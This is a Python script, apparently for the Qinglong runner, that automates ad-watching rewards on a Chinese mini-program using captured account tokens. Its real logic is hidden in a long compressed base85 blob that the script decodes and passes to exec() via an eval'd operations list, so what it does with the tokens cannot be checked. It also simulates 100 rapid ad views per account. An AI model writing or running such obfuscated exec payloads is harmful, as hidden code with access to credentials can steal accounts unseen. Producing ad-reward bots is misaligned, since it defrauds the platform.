import requests
import json
import os
import re
import time
import threading
from datetime import datetime
import notify
import sys
#小程序是去剪二重 小程序链接:#小程序://去重二剪/b9tjFDL6SqzrZEf
#交流群:547358257
#抓包https://apis.ddfans.com请求里的token
#环境变量是qcej_token 多帐号@
#原脚本是：https://raw.githubusercontent.com/Former-Years/Surge/refs/heads/main/Script/qcej.js
# ==================== 【自定义配置区】—— 需改参数都放这 ====================
# 2. 账号Token配置（多账号用@分隔，环境变量为空时读取此值）
CUSTOM_TOKENS = "token1@token2@token3"  # 替换为你的实际Token，例："abc123@def456"
# 3. 看广告任务自定义（时间单位：毫秒）
AD_INTERVAL_MS = 100  # 每次看广告间隔时间（单位：毫秒），如2000即2秒
AD_TOTAL_TIMES = 100   # 每个账号看广告总次数，可改为1、5等
# 4. 多线程配置（按需修改，0或1表示不用用多线程，建议不超过5）
THREAD_NUM = 2  # 同时执行的账号线程数，如2表示2个账号并行
import base64,zlib,lzma,gzip,bz2
BASE62_CHARS="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
def _base62_dec(d):
 d_s=d.decode();n=0
 for c in d_s:n=n*62+BASE62_CHARS.index(c)
 return n.to_bytes((n.bit_length()+7)//8,"big")if n else b"\x00"
def d(d,ops):
 for op in reversed(ops):
  d=zlib.decompress(d)if op=="zlib"else lzma.decompress(d)if op=="lzma"else gzip.decompress(d)if op=="gzip"else bz2.decompress(d)if op=="bz2"else base64.b64decode(d)if op=="base64"else base64.b32decode(d)if op=="base32"else _base62_dec(d)if op=="base62"else base64.b85decode(d)
 return d.decode()
e,b="NHlXvK}JG)cUNaaFLy>%MK*eKNHlXvK}JG)cUNaaFLy;aML1A%NHlXvK}JG)cUNaaFF96XHZxFEQ%qtnZgMMWQ+QHmSTsyHc|lEWV>dEbMNLX-NmN2icXKvmL2)%pGDu5lcUng|Yjb#NRW@vSM@4sKPeCh3K}Ah%c1K7_O-e&WGgfX%YcF?pO)@uHFLP8YLuO<!ba_%tb7*%%cP}w_Rd`c)aAh}CH91&rFHJXaYIJ#KQ(<#9RdH7@T2od|F?eumId(B(OkpuuZaGjgRWVn2P<3p1W-nHHZh3J^Lso8ZVpVBzHdr=QMMzglc12=sVJmevPF8qIHZx3lb9PovbvAb~Vnt1OZg?*+WimE#P*8V6dN?>$Y%pVTD`rSjD{6Oja!`3?buUI@VrX(JZ)0$CdT?lEcyLZwYDRTTY-KN3YGrIQHCZw@c5qT>XH#iVd2%l+XhUXZIdN1_Q+IJ{Ic_y{LPRTMSy?$uFf&j$I8A9Wd2@O&D>qg{VOL2)P%ku3R4+AAM_M#<OmQ+*W^6QgH*$AyOg4IHd1Q7+aW-Q#bT3*fVq#NhG%->$dNgZwZ)IjhFk?4rGgE0tPf9USYIS*Pb~a3NR(MZHFhp8wFHC4?YD73kQFB-^Xf{_`aWiTwW_4C|ZgxpRVR%?(SXe7BPIFI6H7iR}VNOpgXi8FZVr_10XHP|KNN`qdaw|}5L|Axga!hG9X>(&`GGcE*c5g>!d2lgiIA&>dG<I(^R77J}W@&3VFEurHF<3Q0Pe@BRa4%46SUGi2Lsl|Ha#d$ER7h-DZA4OKP;yCdcWqHoY*s~RVR2_@LP~mQZZ<VVcPmAANOn1HMoKhNd1^3jWp6@rdNoINRBKsUZCX=IQ+YW}OjdF*YGikDOhIKwNmx;BMmR!GNk}(qIXQSyQ!8#(OGRo}dP7c8W>;)%Z+cQQGgM(mRZ?e0ZFpHTHEl&SdO>qyNjGC^HC1GKaA9L|cwts}O+rLCb9rM@b#ZfYHD+uzWkyyjYk4_#L`-8*I9PK}ZYy_1Qg16}HfKpkZ!}RkP)1cjO<6NiH7iy~LRLd7c~fO<Sz<{@S#nBNZ*o~<Wl(EQL_uRKWI1LzQCMneXH-QuS95K2Y;-SVcS&?aHB)3YMN397FIQM_Y%6p$WlA$rLUm$yD{XW*V|aK_R9aG3Sa?=gZZ%P5L}y24Ib&-wXF+3UPGNINVOCgmY*JNtN?}w}c34R`MMrpYK}RrZYIRUqS8aMRIBI%QO=2`RbT)M~V{uS0d3Q`tc6n4sa8!3vP&Q&?O-^k}a7T1lI8I4Zc5q>KW<+FeYEC$DR5y1<FK>EMZZt7sR5U?#aAY}nH%(J;K{!irYdB>|Q7>k2Woue;Lo`-4T2?YsD@bWJP%~0eR!uibZ)izFR(CRRG;>x_b~b8oYiMypNK-R-N=HjsQbjgnNohB4N<mIlD{xY8a7tBJO?pZ%S7b~{ayMsFD`_}%F>p6ZI7wtlHbO-<Fl=i^aZpHPFJVh@ZZ%U=adA{JH&#JxP+@a%L32@2O;TcIZ&oi)Q%pu{S8!EzQ%`SCQe}BqS#CHhNkVrkV`X|tXJ%S<WN}n6P-|;eb8KrhMOSo6PHARoIAL0POkqnja5q(KFj8<zH%Br{H*0K3H7{ayYGYwkSTlKeG&D<Dd24Zac|kOIYj{XcQ#E92dQ&kscXwrCS94HOaCS0eYh+?qVMTN|bwgECX<}k?P-JIgYEpMJFidzvYcq9LS50;+OfOnRIeJlKVoz>wYDi*3XgOjzNM%TGFLYveFL7dRVMlgIZfRL<c5yXjT60=MWJozhNl;32R7pifVn<L~OnOgoa!+SMOmksqFEB(-G+{(DD`GfiGeUSodPikrMoemFLU(ROZBuVXRYyf_a#v?lZB0c>I7oSRa6w~ZMsaU1X;x%LS6WR)RZL}PHepL;F;Pn~Su|{9XGCduP+B=lX?JUMRYgulY<V|uSZ_8|SWj+PLRv#dX;)T8X>e;oN-=IrHbpmiVOL{nM`&kFb9FgsYjSyRHE&QzPc$=HMmAMQdNWx^LO3{YL~>YBV^1$*MN%thIAdjXX;yYpWK(fuRAf|GbWB%hHfu9kR!wv;a7imqGg4G>VMuCoYFb5NZ)|Zfc~n7Ub8c2+Hg!&MHF$J(Qg3-^LSip9FII1MZd7=Bcw%aLMNLUcZfrR+S8GEyMoMFOR#j9&b1OJ`b4_t(T1_}Ma#LhUF-k&JGgEm}ad1mPSywn!M00FPct~qGLvS>4OG;NyX?bo@Mp{Z!Z%9;6bVgxLMN45ZFhe#~HBB^cb~!L|Z$U;`T1-PYI8ItLW>HlyW>zyRIb>^Ea8q$`aB*`&X<2VWO?Y`!PhmNCF+ylBH)=I_FG)dFRC#4<RBTpGaWQpPXL)LQO*m&ka7i<GD`rf3N;qOUaZ+$fLq~Q;cY0SiPHb&jc5HNIS5RqpQczZNRd6^=R(DHlaaUM!addYub2m#xHB(YhNlkH3OEf|&d2e=RK~ZsMZCF@CZB|V}dP-6&S9CBqb1!ggF;OdPWlV8HV_0)iP&YSFF=s_VLvnakT4`ZSH+o`sGDS~QR!?J0PeeIxN-uJ0Fl=gUGi^^pIBa@zVmM(~PB%hxaWqP0PjGc`L3(ONLo#zTFEn~WH8f{<O;%<~L{e;eYA-`MPcJVsK}>N%HEKp`G-z#QW=TnAa!OHUHBxCgXm(+CYHLA5H+405G-p;xH)wHYQ$tclGEhfBM{;LJX>dnIZ#6S!Yeq&dX)tzXLugTCV|Oq}GH!NZXjx83YHnCzOfqRzSyn+qZ$nsCP)KJ~GER3{Wma}$WkFO=cv@#cOLsymK~+R$ZZTnNd3RJcNM&+!MO8I1buvdtM0#UrLv2BMGFVM;Pf|8hY*|t;X=5)iT2Vw=MMFbWF=az9bVy1`Fl#SDN_b;TR&!@(V@z#Rb$3i@G&5#;cS1&GZb4CRX;x!xS7b#&NNhz~GIK;VV`XMXN>6!YH&A*^abq`iNOeVbG)_=YYj;sEL^(k@bZ}2|bWC+QRxwO4ZdWo%HZXE8SXDM`ct$}?NHAeSSvN~lc4kp*VQgblVQg?uZ$)Z)Y<Xv4L{wx*Z*WFQWp`#_ZZ%d^X=Foia(PU2W=v5^SwuBWLuD^DMQk!SMMY6TacoReF*!>$Z#PM0VQp?<cY0+pZ*xRacX}~oczAG9Q))DJZ&glHFGzPbX;3tAaZ++~D@H+jOip4_LN`}pMoDilH)U8vFG4k0Xjw0FL}5>LIYetUN?}HIO;c@gb8A>}b~i6|GetN@XlYG!ST;j-Om=ElW@SQeOG0r^bZ=8?G*M_bV|7wNOHOY?SvPiTbxLw|Yid$XRc>%XbTm>lVKr$`H*GLZLO4rUZ*F!(G+|*+aBogRIZRkpFjHo6NmfX7VlpyEOfN}nLrE`4N@6fbI7T*aD^fu=N@;O9S7Jt3Lv}JbR4ZpRYIJflNP0&|WOHpxFG^QoH*8o&FKah!QEO;xZFNauZC7$?W?@TlQ&v-US5z`JWi~G{NKHd*a7Ax%Wmh#dLsDvJXJ~m?Olxm<QZi&&IWbH)NI^tFT104gVrw~iRd{%7L{Ug_dQm}Gbu~|SZcS7(HfAtza&1R<Nm?{hPEj*CLSlI{Pc}D8M_MyRRBudbLQzOrFn3jGZ$)izT1-J<RXA)|ZgWCdG;w4!S#ni*P)0RlOJzh-Mm2ahQ$#OsL}XcNZ!u?RD_C(^Mn++3Pf<)cS5rlLV>wlGVpdvqM|NaxGh|S3N@z|~b8%TjXk<=qVN_T!HfLlwT3Ix7Q(;VEdPY`ZXe&!nPccD5bys9^b3|xLLU%PmFgP$}Pf|lmV|i3&N;GRqI74SEZFxm(W;jG@I8{eBW^Oc3b~rRzVm3!*W>;!<OGb2NLQXPwFiS!;R#jO`NHuABc5OFTdQ(tFbW%BYW^q$6IB<DILNH}HYIZh7VQo!iP()H~SSw6gQd3zkH$`P~G)zT!PjOI4X>NCJP*`(SG<SAYYhhwZRBTCgLQi=#F=uKxLRf4`WmrjVG)YHjc5*O9X+lbKa8__vOj=M`RzX2FQB7wvY&JM?cuiMRad>1>cQj*qYGyeyWM*zTFmY2%OLs#;R%dKwY<YG|YiD$5PB2DVV=pmUH)CpPIA=|5N^@;aX)k6=LpNqkcyDY>FL_Ngc6VWSMOsU1Zc|7(LRDdRa9M6gO*TwrLNI4jW=3mFGDd4^HbzHCb1y@AW@$G|WoS7|T6t4!PiHc7a9B%DQ$|Tab#rV>VmNnAL~BPwW=cyjMoVZjWokk+NkVQgNLOTHctv7NNH0TDPj+E&F;jFwVqtV_R!ekIax-l*XHRr-MsPJXQ$l5RZ(}i2S3-4pMM^VFLo#P(H8OB;HgIt<Ojc}fD^xH@MrCz(b7pT<FHJ&oY&lm@R8LV@Vn|~-V@7c^F-cEnNJU9DcVlQxZ(?~@Q)6vGYi40WYhyt<H%LZqXE#<cc{ey_R7rPfMrn3;c|%EIQ%Oj0P+4<FLNP{oHc?eYRb^0DX+};lN<mt1G-p>zcvC?(ad<^=Fl$&cGg2~6X=rvcQA9XFL^yXrb#-WXV@FIvO;k`*WpztVHf2FFSz=^TS50F?NLf@<QA=-5P;q8ZPjhZKP&s#5W@}+}bun&nS5Pu~D^zWIY;Hz3bxdkDT4+r#N_Sy;YDHE~T6%SDSbBPGcu{z7PEtp2PjfbIM|DtXQh0GhS7}F5H)A+OLTz|XL33hScrQq1aBWp=cTQ(aL~3DaN=rv_T2@v{MNC&TOig8Pb9z;2L2qMLP*P%KN<?~2HE2dLWlm5zQZ{0DGC@#LZBsLHNk(HgGG<h7NNQDbFH=ZNQDZZ3S4eYIWi>`Nb!{?wIZb9VH%@dfMMO(_V=q`Vaye~EN<=n6Z8u9&L27PuMNKwrMKxwlQAbEaN>Fl1MR{~rN;G+RZ8vFAS~Wv%bx1aPbx>4GZAy1TL^4!paC%uZPf2byX;n)xL0WBMMpZ>oW^H;?NM}!3QD}KcO>=B3GifhzI8-!CH$g);X;*PLOg2M#Ff?>oG*DD8H$-VSOE_pXa7adZQh8=KD?~F<Z#FM9SZY^fdQnknFLG{AT18|tQBrv`Q%gZ~a5Xh|Sz2pVS9woNGig+AY*~0&LNsqVcV$##bU|`+ctLkGb~!gmF=tV3F?Ui^HD_ygY*1}ELNZoQGihosHhD5tbXj*uM>cO+WGiEGby975L3TDPG)84ob#F>IR%<dsQfzoeOH*o4b5v?_D``_TL1A@8NN9O?WkNA9PDw~bd3jTFYi>(YZCPk?Su{yaPIOUDOHOoAOju@jXhl?7G<0x8aZqDIQF>}dXINuvV{B@6dQeMObVO5aLv46PD`8`3ac^`|F?w)yWn^$TIdU^(MKf4dLt1MvS3zblFfeCCW;l0Mb6Q7bOJQMpWodd-G;2k9PGod7VL4MuRYEImc5qflaztx&Z8=PEa%x3xMNo1pH*+&bPHtyIGgD+RQb;g*RyS5NHd1yuNJw{0V@pvtLsK?-Pj^gka7Hh3XjwT*dT~-gS2I~pLux}qbZKH}Fl9q$Y%gX`M>RAnVoFLxay3?PT6kkcHcW6~F>z*MS93~kLNje;FL*?DRa$g2YHUU^WNKPDGE8DaPEb}&GH5t?Su{mZYDY~@Qet*&Su!(hQEo*sVl-k`HB@G7YFBPJG&3<vLrg0+SvYzxc{grQVq#@yRCQ@hP<VQ7M>9@IM{!dzb5LbyRZ?j(Pc?ZlM>%I&XLN00Mnpw;N>Nr)Oi5uhLq%nBN?A2|Q)+fidT&NmQ)W?XaA7hlc{Md{cQ`g>PH%2eaA!zTQdU()a7$NYS2=V`a%xyPY+-RyLt|1fHc&xFX?k`yR7pi;Q$$2eH*tDyF<~}IOffQ3G;C{RXGM8qIdo%2SY%XBPdGDVX-juAV|7bYGA~+fZZmE;R(4o8Wp!C`Pcn0Ea5+aXI4fjtO>}Wqadc2PMs7%FZZt$<N=IcfSZHfGPESHvW<o@0bW(ULW^^-ib4W^VNM&ecMlnu9VtQ~!G;VrXRaP}tbu=qiOe;)SbTDvGR(N`0azk1%ICC?3Q8X_%Wiml;d1Xp4bW3<rb45i}HgaKTQF(VvdT>ljHg<GIXij8yG;~IIN^CWFFIP8gI8-usN=sO6bXH+8Nl8v{FLrTfbWd<pab{I?ST{CvX+}^)ZDDIMHf=dEZA?#NF-a>qR9S36Yi=_!L~KGzbYeqRWq4L-YcgqfY-3t_PB}w&Z);*vR9b5_ZAVQ~ba8Y_SV>Vyc}Qqzbu?u$L1;2_F=|L{dSZ8QL2z_IO>ajvYfd?MNkTJraW+|WMNVv2c4KryI6+rAW=2YSH8xUFSZ*&$H*;=5F*!_eSXxVWWm7P0Q(A6mD`#0bIZ|$9SW8iQLv&OtOgJ%QHEefLH8D6)bxSLDL_%+NNHs=RP-RwYcStdCT69AzLQYU^Z+B#RYgIEcIV)skZCX@HS#L{oQAJNSaZplAK~-vQZgz7tbumOmMLB9lctSZccsDmNcxGBfa#c@ZF-mMqGIMn_NKQ*QLUmMjYfn>1Qbcw_a(F{<L{2zwb~iRhdUbb8ZbfcUQ*TprMo>~idU<g|S8aH2XlzPpb7gOLb$UZ^a#lfPL0D*5YE3qEM`cWMV`f7*IZ#Y&K}=0gb5nXWP%=<ha(6Z|SV3niD{VMyMtN;*cVcfvFI7l*cr!{$IB0rVVNg~=Wo9%|ReE|#Vl^vbIbkw$L33<%PH$yyN^fvXPg-+BFH~|*bZ>H4FHd1lD@89*P;qEhQ&d+?LPU93G%!qSV{Cd^M`2f4Vo!NlHDgbBHFa58PgYfDF)MO!T2fhUS5kIiPF6xON;6|obWTk*L3nIySUGq%K}AeyVJl8Scvx3uS64$yNNX=EXF+u{aW+RmZfr3xSW8+ndUkC^W=%O+LQ`2eOJq4hIdx4`b}%zAQ7ck7D`am?S!zdQZD>SHWK(WQM`J`nV{$fnP&i>@IdfM@R4YkGO=(LxXEbVVQZq&?dU9ziLTPGdb!vEMZfQhfWOy@pbXY4@SZ8-Jbx3hWIdCyzFKlNvW@<NQLuN8{FfdO^VNX<3LS=J8PiRqLPDeRvRz`MaZ$>skSW_=|Pgpf-Q)Fp2W>rLXNMb=ZLqk+fMrKMhHfUsVP*!1jD@bKHZdZCWPB&IrWjHo8I5$I6Z8S(tcT+T2MOSKfIdCs)QAtO2H8FElR!U@3Yi(<9G)-$pZbMNsSxPG~S86wIP(v^|Z#8&QLU4CDPiAj*PE{~gN@{3OWI|DAS~prWIYm}@a8^NDNOfajH&j@1QB8VUP((_0VL3uFaZ*rcW^!jlHg$L_O=)m3Q*JMMG;wH9O?pa4IdXPLZAEo*H%~NVOEPg|baYBERasSeQ*mK#FgapmVpcUuSa*6+YHT)BW<fJ^Gf+29H+3^PbvI*fFi>JdVq|qUGICloH#T}?M_D#vPES{IO)^q;Ggxg$PAfJvVmW#=QFAkJVP#P;NLqDHaCl;OGD3M)GAm3`W@R!^R&!!8GI3g0YB@<yZFDqka&9j~Fg8?jV=y&TP-ZrDZfI&XG(%B(ICM}lOgU>YVKq=jHBn=8F-%TXH8wYCP;p0LGBa>iRx4zAXJu_^Y)w~THEJ|YY<E~iS9M`$W=>i-N<}zmbw@d2L}XcWH&HoSP-tXCT4`5EHfUi%S2RLUGi-BMWKK<ZFgP+RSwS&3S8ZBWM0YniZ)j>XH#B-oG;LvOSz<M3Oip@vQbQ|xWL9fVc1m+cPI_`-WmR)&HbQi1ad~BAZ8lLxQ#X2AMlV`uOIcJ&G<I=xHfl(ES1V3RdS^s9H*$A#O;1XCPdGwQLpU}uFK=o|GB$88OHD*oVNP*aQg%*pbxUG!Fi1{8Q)h2(Q%z27D^*KNN-%CpIcsxqby|99Fjh`#RAyF1adBF4YjrYcZg)vhWk*4Fcy(xNb~ss7MniOQa(G!xS4T20ctciDb5}@tVOK?3GiFa$a5hDBRY^}xN;NlXYgA=xD|${fXD=~mQD$poabj$AQ#oiadNe{vH*i{IYGq0@Wmh;sNj7F@HFZitIZI<%adtLnQco~-Z%<`;WJ7m3Hb+x>FGOQ?WjJkTXjM5{HCJO+FluLLNKZ^sZZbzyPiZksPIGEWY)(&VW@Kh%Np5y4az`?HRdz;ma&l2NcWyyJK~zFzIZjJ=LRUF4HA{0^ZZmpDcS1QuaY;E!Z)sCvc`H<HM@vO(Lrhb4OE5$^OKEjOcSJ>KPFQkGL`qU&c34VnO=nm`R8u%vXj4XRH$zB6GgfDIa%wb2LRw8!ZgzKiS~f{UQ)WmrHEl;xWm0WsdTnrbbxAQYM`n0dH)1eBW^YYtbWKikP*iJVPh)d9R%uUJPEA8KQ9)*IGDbvCMtM_kPi19#O)oTAQa4#=P)lcVZfkN!MKEe=Z)|m9a5*w~GekvpGE78HWjA&*W_LzqS!;85H+oq?K}L2(b52D#MR!3#QZ!e3Nij`SK|w)1","WydnemlwJywgJ2d6aXAnLCAnZ3ppcCcsICdiYXNlNjQnLCAnYmFzZTg1J10=";o=eval(base64.b64decode(b).decode())
try:exec(d(base64.b64decode(e),o))
except Exception as x:print(f"Error:{x}")